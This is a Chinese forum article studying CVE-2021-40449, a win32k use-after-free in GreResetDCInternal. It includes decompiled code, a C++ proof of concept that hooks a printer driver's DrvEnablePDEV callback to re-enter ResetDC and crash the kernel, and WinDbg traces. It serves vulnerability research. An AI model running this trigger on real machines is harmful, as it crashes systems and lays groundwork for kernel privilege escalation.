CVE-2021-40449(UAF)学习
本文为看雪论坛优秀文章
看雪论坛作者ID:Jimpp
1
漏洞描述
Windows Server, version 2004/20H2(Server Core Installation)
Windows 10 Version 1607/1809/1909/2004/20H2/21H1
Windows 7 for 32/64-bit Systems Service Pack 1
Windows Server 2008/2012/2016/2019/2022
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows 8.1 for 32/64-bit systems
Windows RT 8.1
2
漏洞分析
if ( v11 ) { v11 = GreResetDCInternal(a1, v8, &v13, (__int64)v9, a5); if ( v11 ) { if ( (unsigned __int64)a3 >= MmUserProbeAddress ) // MmUserProbeAddress为全局变量,相当于用户空间与内核空间的分界线 a3 = (_DWORD *)MmUserProbeAddress; *a3 = v13; } }dcobj.hxx#L97(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L97)、
dcobj.hxx#L236(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L236)、
dcobj.hxx#L1282(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L1282)、
dcobj.hxx#L1686(https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L1686)。
另外HDC犹如其名,handle to device context,图形设备信息对象的句柄。
class DCLEVEL{public: ... HDC hdcSave; ...}
class DC : public OBJECT{public: DHPDEV dhpdev_; PDEV *ppdev_; ... HDC hdcNext_; // HDC链表指针 HDC hdcPrev_; ... DCLEVEL dclevel ...};typedef DC *PDC;
class XDCOBJ /* dco */{public: PDC pdc; ...};typedef XDCOBJ *PXDCOBJ;
class DCOBJ : public XDCOBJ /* mdo */{public: DCOBJ() { pdc = (PDC) NULL; } DCOBJ(HDC hdc) { vLock(hdc); } ~DCOBJ() { vUnlockNoNullSet(); }};typedef DCOBJ *PDCOBJ;__int64 __fastcall GreResetDCInternal(HDC hdc, __int64 a2, int *a3, __int64 a4, __int64 a5){
...
DCOBJ::DCOBJ(&dcobj, hdc); // 利用hdc对象来创建DCOBJ对象 pDC = dcobj.pDC; if ( !dcobj.pDC ) { EngSetLastError(6u); // 无效句柄 v13 = dcobj.pDC;LABEL_38: v16 = v25; goto LABEL_19; }
...
v11 = *((_QWORD *)pDC + 6); // 获取DC的成员变量
...
if ( XDCOBJ::bCleanDC((XDCOBJ *)&dcobj, 0) ) { if ( *(_DWORD *)(v11 + 8) == 1 ) { // 创建新的HDC对象,其用户态回调函数DrvEnablePDEV可能破坏dcobj对象和DC对象 newHdc = (HDC)hdcOpenDCW(&word_1C02CCD00, a2, 0i64, 0i64, *(_QWORD *)(v11 + 0xA00), v25, a4, a5, 0); v8 = newHdc; if ( newHdc ) { *(_QWORD *)(v11 + 0xA00) = 0i64; DCOBJ::DCOBJ(&new_dcobj, newHdc); v18 = new_dcobj.pDC; if ( new_dcobj.pDC ) { if ( v14 > 0 ) { *((_DWORD *)new_dcobj.pDC + 0x1B) = *((_DWORD *)new_dcobj.pDC + 0x1A); v18 = new_dcobj.pDC; } *((_QWORD *)v18 + 0x101) = *((_QWORD *)dcobj.pDC + 0x101); *((_QWORD *)dcobj.pDC + 0x101) = 0i64; *((_QWORD *)new_dcobj.pDC + 0x102) = *((_QWORD *)dcobj.pDC + 0x102); *((_QWORD *)dcobj.pDC + 0x102) = 0i64; // 从旧DC对象中获取函数指针,此时对象可能已经遭到破坏或者替换,当内核访问无效的地址时,将会触发BSOD v19 = *(void (__fastcall **)(_QWORD, _QWORD))(v11 + 0xAB8); if ( v19 ) // 两个参数可受用户控制 v19(*(_QWORD *)(v11 + 0x708), *(_QWORD *)(*((_QWORD *)new_dcobj.pDC + 6) + 0x708i64));
...
} }
...}BOOL GreResetDCInternal( HDC hdc, DEVMODEW *pdmw, BOOL *pbBanding, DRIVER_INFO_2W *pDriverInfo2, PVOID ppUMdhpdev){ // [...] HDC hdcNew;
{ // Create DCOBJ from HDC DCOBJ dco(hdc);
if (!dco.bValid()) { SAVE_ERROR_CODE(ERROR_INVALID_HANDLE); } else { // Create DEVOBJ from `dco` PDEVOBJ po(dco.hdev());
// [...]
// Create the new DC // VULN: Can result in a usermode callback that destroys old DC, which // invalidates `dco` and `po` hdcNew = hdcOpenDCW(L"", pdmw, DCTYPE_DIRECT, po.hSpooler, prton, pDriverInfo2, ppUMdhpdev);
if (hdcNew) { po->hSpooler = NULL;
DCOBJ dcoNew(hdcNew);
if (!dcoNew.bValid()) { SAVE_ERROR_CODE(ERROR_INVALID_HANDLE); } else { // Transfer any remote fonts
dcoNew->pPFFList = dco->pPFFList; dco->pPFFList = NULL;
// Transfer any color transform
dcoNew->pCXFList = dco->pCXFList; dco->pCXFList = NULL;
PDEVOBJ poNew((HDEV)dcoNew.pdc->ppdev());
// Let the driver know // VULN: Method is taken from old (possibly destroyed) `po` PFN_DrvResetPDEV rfn = po->ppfn[INDEX_DrvResetPDEV];
if (rfn != NULL) { (*rfn)(po->dhpdev, poNew->dhpdev); }
// [...] } } } }
// Destroy old DC // [...]},3
漏洞验证
// get the size of PRINTER_INFO_4A structure arrayDWORD pcbNeeded = 0, pcReturned = 0;EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcReturned);if (pcbNeeded <= 0){ cout << "[-] Failed To Find Any Available Printers" << endl; return FALSE;}
PRINTER_INFO_4A* pPrinterInfo = NULL;pPrinterInfo = static_cast<PRINTER_INFO_4A*>(malloc(pcbNeeded));if (!pPrinterInfo){ cout << "[-] Failed To Allocate Buffer For PRINTER_INFO Array" << endl; return FALSE;}
// store all PRINTER_INFO_4A structures to heapBOOL retStatus = FALSE;retStatus = EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterInfo, pcbNeeded, &pcbNeeded, &pcReturned);if (!retStatus){ cout << "[-] Failed To Store All PRINTER_INFO Structures" << endl; return FALSE;}HANDLE hPrinter = 0;DRIVER_INFO_2A* pDriverInfo = NULL;// get the printer driver's namePRINTER_INFO_4A* pPrinterInfoTemp = &pPrinterInfo[i];if (!pPrinterInfoTemp->pPrinterName){ cout << "[-] Failed To Print The Printer Name" << endl;}cout << "[+] The Printer Name: " << pPrinterInfoTemp->pPrinterName << endl;expVal::pPrinterName = pPrinterInfoTemp->pPrinterName;
retStatus = OpenPrinterA(pPrinterInfoTemp->pPrinterName, &hPrinter, NULL);if (!retStatus){ cout << "[-] Failed To Open The Printer: " << pPrinterInfoTemp->pPrinterName << endl; continue;}
// get the printer driver's handlepcbNeeded = 0;GetPrinterDriverA(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);pDriverInfo = static_cast<DRIVER_INFO_2A*>(malloc(pcbNeeded));if (!pDriverInfo){ cout << "[-] Failed To Allocate Buffer for DRIVER_INFO_2A" << endl; return FALSE;}retStatus = GetPrinterDriverA(hPrinter, NULL, 2, (LPBYTE)pDriverInfo, pcbNeeded, &pcbNeeded);if (!retStatus){ cout << "[-] Failed To Get Printer Driver" << endl; continue;}cout << "[+] The Driver Dll: " << pDriverInfo->pDriverPath << endl;
// load the printer driver to memoryHMODULE hModule = LoadLibraryExA(pDriverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);if (!hModule){ cout << "[-] Failed To Load The " << pDriverInfo->pDriverPath << "To Memory" << endl; continue;}// get the function pointerpDrvEnableDriver DrvEnableDriver = NULL;pDrvDisableDriver DrvDisableDriver = NULL;DrvEnableDriver = (pDrvEnableDriver)GetProcAddress(hModule, "DrvEnableDriver");DrvDisableDriver = (pDrvDisableDriver)GetProcAddress(hModule, "DrvDisableDriver");if (!DrvDisableDriver || !DrvEnableDriver){ cout << "[-] Failed To Get The DrvEnableDriver And DrvDisableDriver's Address" << endl; continue;}
// enable the printer driverDRVENABLEDATA drvEnableData{ 0 };retStatus = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);if (!retStatus){ cout << "[-] Failed To Enable The Printer Driver" << endl; continue;}else{ cout << "[+] Enable The Printer Driver" << endl;}DWORD lpflOldProtect = 0;if (!drvEnableData.pdrvfn){ cout << "[-] Failed To Find The Callback Table Entry" << endl; continue;}retStatus = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(DRVFN), PAGE_READWRITE, &lpflOldProtect);if (!retStatus){ cout << "[-] Failed To Unprotect The Callback Table Entry" << endl; continue;}// find the specific callback entryfor (DWORD j = 0; j < drvEnableData.c; ++j){ if(expVal::callbackHook.iFunc == drvEnableData.pdrvfn[j].iFunc) { expVal::originCallback = drvEnableData.pdrvfn[j].pfn; cout << "[+] The Origin Callback Address: " << drvEnableData.pdrvfn[j].pfn << endl; drvEnableData.pdrvfn[j].pfn = expVal::callbackHook.pfn; cout << "[+] The Hook Callback Address: " << drvEnableData.pdrvfn[j].pfn << endl; cout << "[+] Hook The Callback Entry DrvEnablePDEV Successfully" << endl; break; }}DHPDEV CallbackHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver){ if (!expVal::hdc) { cout << "[-] Global Hdc Is Invalid" << endl; } cout << "[+] The " << expVal::count++ << "th time to call DrvEnablePDEV" << endl; DHPDEV ret = ((pDrvEnablePDEV)expVal::originCallback)(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver); if (expVal::triggerFlag) { expVal::triggerFlag = FALSE; // 触发漏洞的核心是第二次在回调函数里再次调用ResetDC HDC tempHdc = ResetDC(expVal::hdc, NULL); cout << "[+] Returned From Second ResetDC" << endl; for (int i = 1; i < 16; i++) { Sleep(1000); printf("[+] Counting down...: %d\n", 16 - i); } Sleep(1000); }
return ret;}int main(){ BOOL retStatus = FALSE; retStatus = HookUsermodeCallbackEntry(); if (!retStatus) { cout << "[-] Failed To Hook Callback" << endl; return 0; }
expVal::hdc = CreateDCA(NULL, expVal::pPrinterName, NULL, NULL); if (!expVal::hdc) { cout << "[-] Failed To Create DC" << endl; return 0; }
cout << "[+] CallbackHook Start" << endl; ResetDC(expVal::hdc, NULL); cout << "[+] CallbackHook Finish" << endl; cout << "[+] Time to BSOD" << endl; return 0;}# Child-SP RetAddr Call Site00 ffffb707`86be9938 fffff53a`bdd39ff2 win32kbase!hdcOpenDCW01 ffffb707`86be9940 fffff53a`bdd39e66 win32kfull!GreResetDCInternal+0x11a02 ffffb707`86be9a10 fffff801`0be74285 win32kfull!NtGdiResetDC+0xd603 ffffb707`86be9a90 00007ffe`8c636f04 nt!KiSystemServiceCopyEnd+0x2504 00000096`578ff5f8 00007ffe`8cf497bf win32u!NtGdiResetDC+0x1405 00000096`578ff600 00007ffe`8e40dc71 gdi32full!ResetDCWInternal+0x16b06 00000096`578ff700 00007ff7`134b1573 GDI32!ResetDCW+0x3107 00000096`578ff730 00000269`632d9060 CallbackHell!main+0x63 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 236]08 00000096`578ff738 00000000`00000000 0x00000269`632d9060# Child-SP RetAddr Call Site00 00000022`a28fedf8 00007ff6`e0ec1096 KERNELBASE!wil::details::DebugBreak+0x201 00000022`a28fee00 00000166`f03e7dba CallbackHell!hook_DrvEnablePDEV+0x26 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 34]02 00000022`a28fee08 00007ffd`cc252d0b 0x00000166`f03e7dba03 00000022`a28fee10 00007ffd`cc252ac4 ucrtbase!__crt_state_management::leave_os_call+0x4b04 00000022`a28fee40 00007ffd`ccac5650 ucrtbase!__crt_state_management::wrapped_invoke<int (__cdecl*)(char const * __ptr64,char const * __ptr64),char const * __ptr64,char const * __ptr64,int>+0x3405 00000022`a28fee70 00007ffd`cd4d99fa gdi32full!GdiPrinterThunk+0x6d006 00000022`a28fef40 00007ffd`cfbb22c4 USER32!__ClientPrinterThunk+0x3a07 00000022`a28ff7c0 00007ffd`cbc66f04 ntdll!KiUserCallbackDispatcherContinue08 00000022`a28ff8c8 00007ffd`ccac97bf win32u!NtGdiResetDC+0x1409 00000022`a28ff8d0 00007ffd`cd65dc71 gdi32full!ResetDCWInternal+0x16b0a 00000022`a28ff9d0 00007ff6`e0ec1573 GDI32!ResetDCW+0x310b 00000022`a28ffa00 00000166`f03d83b0 CallbackHell!main+0x63 [D:\CVE\CVE-2021-40449\Poc\CallbackHell\CallbackHell.cpp @ 236]win32kfull!GreResetDCInternal+0x1a0:ffffab8d`4253a078 488b4df7 mov rcx,qword ptr [rbp-9]ffffab8d`4253a07c 488b5130 mov rdx,qword ptr [rcx+30h]ffffab8d`4253a080 488b8b08070000 mov rcx,qword ptr [rbx+708h]ffffab8d`4253a087 488b9208070000 mov rdx,qword ptr [rdx+708h]ffffab8d`4253a08e ff15fcdf2000 call qword ptr [win32kfull!_guard_dispatch_icall_fptr (ffffab8d`42748090)]0: kd> u ripwin32kfull!guard_dispatch_icall_nop:ffffab8d`42542a10 ffe0 jmp raxffffab8d`42542a12 cc int 3ffffab8d`42542a13 cc int 3ffffab8d`42542a14 cc int 3ffffab8d`42542a15 cc int 3ffffab8d`42542a16 cc int 3ffffab8d`42542a17 cc int 3ffffab8d`42542a18 cc int 3漏洞利用
参考链接:
https://mp.weixin.qq.com/s/z0Hv06YRlmQVSINTd2Hh6w
https://github.com/ollypwn/CallbackHell
看雪ID:Jimpp
https://bbs.pediy.com/user-home-924781.htm
# 往期推荐
5.通过ObRegisterCallbacks学习对象监控与反对象监控
球分享
球点赞
球在看
点击“阅读原文”,了解更多!